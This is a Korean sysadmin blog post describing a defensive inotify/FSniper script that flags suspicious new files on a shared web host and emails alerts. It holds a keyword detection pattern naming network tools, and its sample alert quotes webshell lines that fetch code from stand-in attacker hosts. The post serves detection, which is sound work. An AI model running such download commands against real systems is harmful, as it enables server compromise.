레이블이 Monitoring인 게시물을 표시합니다. 모든 게시물 표시
레이블이 Monitoring인 게시물을 표시합니다. 모든 게시물 표시

20131020

Detect New Files and Send Notification if Suspicious

공유 호스팅 한 대에 의심파일 자꾸 들어와서 inotify 기반으로 감시 스크립트 짜둔 걸 정리. CentOS 6 서버에 FSniper로 새 파일 들어오는 이벤트만 잡고, 핸들러에서 의심 키워드 grep 후 메일 발송하는 단순한 구조다.

inotify는 커널 2.6.13부터 들어가있고 (참조: FSniper – Monitor Newly Created Files in Directory), 우리 서버는 2.6.32라 그냥 됐다. CSF 쪽 cxs (eXploit Scanner)랑 컨셉은 동일한데 그건 유료라서 자체로 한번 만들어봤음.

FSniper 핸들러 — /etc/fsniper/handler/web.sh
#!/bin/bash
output_file='/var/www/html/new_files.txt'
user_owner=`ls -al $1 | awk '{print $3}'`
ip=`hostname -i`
subject='Found something suspicious'
emailto='admin@yourdomain.tld'
message=/tmp/emailmessage.txt

echo $(date +"%Y-%m-%d") $(date +%k:%M) ">>" $1 "|" $user_owner >> $output_file

danger=`egrep -iH '(wget|curl|lynx|gcc|perl|sh|cd|mkdir|touch|base64)' $1 | wc -l`

if [ $danger -gt 0 ]; then
  echo 'Server:' $(hostname) > $message
  egrep -iH '(wget|curl|lynx|gcc|perl|sh|cd|mkdir|touch|base64)' $1 >> $message
  mail -s "$ip | $subject" "$emailto" < $message
fi

키워드는 wget · curl · lynx · gcc · perl · sh · cd · mkdir · touch · base64. 자주 보던 webshell 패턴 위주로 잡았다. base64 키워드는 false positive가 좀 있지만 그래도 의심해볼 가치는 있음.

fsniper 룰 — ~/.config/fsniper/config
watch {
  /var/www/html {
    recurse = true
    *.php, *.txt, *.html {
      handler = /etc/fsniper/handler/web.sh %%
    }
  }
}

의심 메일이 왔을 때는 대충 이런 모양:
From: root
To: admin@yourdomain.tld
Subject: 192.168.1.1 | Found something suspicious

Server: web01
/home/user/public_html/test3.php:wget http://attacker.tld/bad_thing.php
/home/user/public_html/test3.php:curl http://hackers.tld/scripts

운영하면서 깨달은 점 몇가지 메모.

1) FSniper 데몬을 root로 띄우면 권한 문제가 사라지지만 그것대로 위험하다. 보통 nobody 같은 권한 낮은 유저로 띄우고, 핸들러는 특정 디렉토리만 쓸 수 있게 둔다. 우리는 fsniper 라는 전용 유저 만들어서 돌렸음.

2) /var/www/html 전체를 recursive로 감시하면 워드프레스 같은데서 캐시 파일 만들 때마다 이벤트 폭발한다. 처음엔 메일 폭탄 맞았음 ㅠㅠ. wp-content/cache 같은 경로는 fsniper config에서 제외하거나, 핸들러에서 path 패턴 한번 더 거른다.

3) inotify watch 개수에 fs.inotify.max_user_watches 시스템 한도가 있다. 기본값이 8192라 큰 사이트에서는 부족할 수 있음. /etc/sysctl.conf 에 fs.inotify.max_user_watches=524288 정도로 올린다.

4) FSniper 자체가 활발히 유지보수 안되고 있어서, incron 으로 옮길까 고민중. inotifywait 로 wrapper 짜는 것도 방법. 일단 지금 구성으로 6개월째 무사히 잘 돌고 있어서 굳이 안 바꾸고 있다.

출처: http://blog.secaserver.com/2011/06/detect-new-files-and-send-notification-if-suspicious/